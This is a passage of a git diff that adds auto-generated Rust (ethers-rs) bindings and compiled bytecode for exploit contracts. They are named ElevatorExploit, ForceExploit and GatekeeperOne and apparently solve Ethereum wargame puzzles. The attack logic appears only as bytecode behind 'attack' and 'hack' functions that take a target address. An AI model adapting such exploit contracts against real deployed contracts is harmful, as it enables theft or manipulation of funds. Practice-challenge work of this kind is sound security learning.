::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct FloorReturn(pub ::ethers::core::types::U256); + ///Container type for all return fields from the `top` + /// function with signature `top()` and selector + /// `0xfe6dcdba` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct TopReturn(pub bool); +} diff --git a/attack/src/abi/elevator_exploit.rs b/attack/src/abi/elevator_exploit.rs new file mode 100644 index 0000000..638d5a7 --- /dev/null +++ b/attack/src/abi/elevator_exploit.rs @@ -0,0 +1,318 @@ +pub use elevator_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod elevator_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("attack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("attack"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("isLastFloor"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("isLastFloor"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Uint( + 256usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("uint256"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static ELEVATOREXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\0\x80T`\xFF\x19\x16`\x01\x17\x90U4\x80\x15`\x1CW`\0\x80\xFD[Pa\x02\xB9\x80a\0,`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c_\x9AK\xCA\x14a\0;W\x80c\xD0\x18\xDB>\x14a\0\x95W[`\0\x80\xFD[a\0\x81a\0I6`\x04a\x02\x0BV[P`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x81\x16`\xFF\x91\x82\x16\x15\x90\x81\x17\x90\x92U\x16\x90V[`@Q\x90\x15\x15\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\xA8a\0\xA36`\x04a\x02$V[a\0\xAAV[\0[`@Q\x7F\xED\x9Aq4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\0`\x04\x82\x01R\x81\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x14W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01(W=`\0\x80>=`\0\xFD[PPPP\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xFEm\xCD\xBA`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01yW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x9D\x91\x90a\x02aV[a\x02\x07W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x15`$\x82\x01R\x7FDidn't get to the top\0\0\0\0\0\0\0\0\0\0\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[PPV[`\0` \x82\x84\x03\x12\x15a\x02\x1DW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x026W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02ZW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02sW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02ZW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 j+zU\xB0\x86\xD5\x86\xC5\xC6\xE9,c\xAA\x94\xF6\xBEH.\xCA\xC4\x1E\xB4FX\xFB\xB0\xC9u\x1B\x08tdsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static ELEVATOREXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c_\x9AK\xCA\x14a\0;W\x80c\xD0\x18\xDB>\x14a\0\x95W[`\0\x80\xFD[a\0\x81a\0I6`\x04a\x02\x0BV[P`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x81\x16`\xFF\x91\x82\x16\x15\x90\x81\x17\x90\x92U\x16\x90V[`@Q\x90\x15\x15\x81R` \x01`@Q\x80\x91\x03\x90\xF3[a\0\xA8a\0\xA36`\x04a\x02$V[a\0\xAAV[\0[`@Q\x7F\xED\x9Aq4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\0`\x04\x82\x01R\x81\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c\xED\x9Aq4\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\x14W`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01(W=`\0\x80>=`\0\xFD[PPPP\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16c\xFEm\xCD\xBA`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01yW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x9D\x91\x90a\x02aV[a\x02\x07W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`\x15`$\x82\x01R\x7FDidn't get to the top\0\0\0\0\0\0\0\0\0\0\0`D\x82\x01R`d\x01`@Q\x80\x91\x03\x90\xFD[PPV[`\0` \x82\x84\x03\x12\x15a\x02\x1DW`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x026W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02ZW`\0\x80\xFD[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x02sW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02ZW`\0\x80\xFD\xFE\xA2dipfsX\"\x12 j+zU\xB0\x86\xD5\x86\xC5\xC6\xE9,c\xAA\x94\xF6\xBEH.\xCA\xC4\x1E\xB4FX\xFB\xB0\xC9u\x1B\x08tdsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static ELEVATOREXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct ElevatorExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for ElevatorExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for ElevatorExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for ElevatorExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for ElevatorExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(ElevatorExploit)) + .field(&self.address()) + .finish() + } + } + impl ElevatorExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + ELEVATOREXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + ELEVATOREXPLOIT_ABI.clone(), + ELEVATOREXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0xd018db3e) + /// function + pub fn attack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([208, 24, 219, 62], target) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `isLastFloor` (0x5f9a4bca) + /// function + pub fn is_last_floor( + &self, + p0: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([95, 154, 75, 202], p0) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for ElevatorExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `attack` function with signature `attack(address)` + /// and selector `0xd018db3e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "attack", abi = "attack(address)")] + pub struct AttackCall { + pub target: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the + /// `isLastFloor` function with signature + /// `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] + pub struct IsLastFloorCall(pub ::ethers::core::types::U256); + ///Container type for all of the contract's call + #[derive( + Clone, + ::ethers::contract::EthAbiType, + serde::Serialize, + serde::Deserialize, + Debug, + PartialEq, + Eq, + Hash, + )] + pub enum ElevatorExploitCalls { + Attack(AttackCall), + IsLastFloor(IsLastFloorCall), + } + impl ::ethers::core::abi::AbiDecode for ElevatorExploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result + { + let data = data.as_ref(); + if let Ok(decoded) = + ::decode(data) + { + return Ok(Self::Attack(decoded)); + } + if let Ok(decoded) = + ::decode( + data, + ) + { + return Ok(Self::IsLastFloor(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ElevatorExploitCalls { + fn encode(self) -> Vec { + match self { + Self::Attack(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + Self::IsLastFloor(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for ElevatorExploitCalls { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + match self { + Self::Attack(element) => ::core::fmt::Display::fmt(element, f), + Self::IsLastFloor(element) => { + ::core::fmt::Display::fmt(element, f) + } + } + } + } + impl ::core::convert::From for ElevatorExploitCalls { + fn from(value: AttackCall) -> Self { Self::Attack(value) } + } + impl ::core::convert::From for ElevatorExploitCalls { + fn from(value: IsLastFloorCall) -> Self { Self::IsLastFloor(value) } + } + ///Container type for all return fields from the + /// `isLastFloor` function with signature + /// `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + pub struct IsLastFloorReturn(pub bool); +} diff --git a/attack/src/abi/example.rs b/attack/src/abi/example.rs index b850053..900a89f 100644 --- a/attack/src/abi/example.rs +++ b/attack/src/abi/example.rs @@ -45,12 +45,12 @@ pub mod example { pub static EXAMPLE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xAB\x80`/`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`-W[`\0\x80\xFD[`\0T`L\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3\xFE\xA2dipfsX\"\x12 kg\xDD\xD54\x87I)\xF5\xAD\xCC}m\\{\xEB\r\xD5\x8Fe\xA6\x11\xBD\t;\xF6\xF8\xCF\xFBkBYdsolcC\0\x08\x19\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xAB\x80`/`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`-W[`\0\x80\xFD[`\0T`L\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3\xFE\xA2dipfsX\"\x12 \xA7W\x8E\x85\x96-6a\x13\xEF\x12\xEFL\xA6\xF2r\xE5RH\xDDw\xF2F\0\x15\xF0\xCA)\x87\x1C\x04\xD7dsolcC\0\x08\x19\x003"; /// The bytecode of the contract. pub static EXAMPLE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`-W[`\0\x80\xFD[`\0T`L\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3\xFE\xA2dipfsX\"\x12 kg\xDD\xD54\x87I)\xF5\xAD\xCC}m\\{\xEB\r\xD5\x8Fe\xA6\x11\xBD\t;\xF6\xF8\xCF\xFBkBYdsolcC\0\x08\x19\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14`-W[`\0\x80\xFD[`\0T`L\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3\xFE\xA2dipfsX\"\x12 \xA7W\x8E\x85\x96-6a\x13\xEF\x12\xEFL\xA6\xF2r\xE5RH\xDDw\xF2F\0\x15\xF0\xCA)\x87\x1C\x04\xD7dsolcC\0\x08\x19\x003"; /// The deployed bytecode of the contract. pub static EXAMPLE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/attack/src/abi/force_exploit.rs b/attack/src/abi/force_exploit.rs new file mode 100644 index 0000000..af435c6 --- /dev/null +++ b/attack/src/abi/force_exploit.rs @@ -0,0 +1,177 @@ +pub use force_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod force_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some( + ::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![], + }, + ), + functions: ::core::convert::From::from([( + ::std::borrow::ToOwned::to_owned("hack"), + ::std::vec![::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("hack"), + inputs: ::std::vec![::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + },], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: + ::ethers::core::abi::ethabi::StateMutability::NonPayable, + },], + )]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static FORCEEXPLOIT_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x004\x11`\x10W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xF6\x80a\x000`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80clL\x17O\x14`-W[`\0\x80\xFD[`<`86`\x04`\x85V[`>V[\0[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14\x80\x15`dWP`\0G\x11[`lW`\0\x80\xFD[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0` \x82\x84\x03\x12\x15`\x96W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14`\xB9W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 u\xDA_\x8B\x8C\xF5\\Y#\xF7&\x90\xC4N\xA4\x16Z\xEC\xD8\x92\xD1\x96\xCD\xF3\x1F\xF5BE\xE1\xD9\x8A\xD9dsolcC\0\x08\x19\x003"; + /// The bytecode of the contract. + pub static FORCEEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__BYTECODE); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80clL\x17O\x14`-W[`\0\x80\xFD[`<`86`\x04`\x85V[`>V[\0[`\0Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x163\x14\x80\x15`dWP`\0G\x11[`lW`\0\x80\xFD[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0` \x82\x84\x03\x12\x15`\x96W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14`\xB9W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 u\xDA_\x8B\x8C\xF5\\Y#\xF7&\x90\xC4N\xA4\x16Z\xEC\xD8\x92\xD1\x96\xCD\xF3\x1F\xF5BE\xE1\xD9\x8A\xD9dsolcC\0\x08\x19\x003"; + /// The deployed bytecode of the contract. + pub static FORCEEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = + ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); + pub struct ForceExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for ForceExploit { + fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } + } + impl ::core::ops::Deref for ForceExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { &self.0 } + } + impl ::core::ops::DerefMut for ForceExploit { + fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } + } + impl ::core::fmt::Debug for ForceExploit { + fn fmt( + &self, + f: &mut ::core::fmt::Formatter<'_>, + ) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(ForceExploit)) + .field(&self.address()) + .finish() + } + } + impl ForceExploit { + /// Creates a new contract instance with the + /// specified `ethers` client at `address`. + /// The contract derefs to a `ethers::Contract` + /// object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self(::ethers::contract::Contract::new( + address.into(), + FORCEEXPLOIT_ABI.clone(), + client, + )) + } + /// Constructs the general purpose `Deployer` + /// instance based on the provided constructor + /// arguments and sends it. Returns a new + /// instance of a deployer that returns an instance + /// of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you + /// should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 + /// block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and + /// deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` + /// object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + FORCEEXPLOIT_ABI.clone(), + FORCEEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `hack` (0x6c4c174f) + /// function + pub fn hack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([108, 76, 23, 79], target) + .expect("method not found (this should never happen)") + } + } + impl + From<::ethers::contract::Contract> for ForceExploit + { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the + /// `hack` function with signature `hack(address)` and + /// selector `0x6c4c174f` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + serde::Serialize, + serde::Deserialize, + Default, + Debug, + PartialEq, + Eq, + Hash, + )] + #[ethcall(name = "hack", abi = "hack(address)")] + pub struct HackCall { + pub target: ::ethers::core::types::Address, + } +} diff --git a/attack/src/abi/gatekeeper_one.rs b/attack/src/abi/gatekeeper_one.rs new file mode 100644 index 0000000..40995fc --- /dev/null +++ b/attack/src/abi/gatekeeper_one.rs @@ -0,0 +1,276 @@ +pub use gatekeeper_one::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types +)] +pub mod gatekeeper_one { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("enter"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("enter"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_gateKey"), + kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( + 8usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bytes8"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("entrant"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("entrant"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: 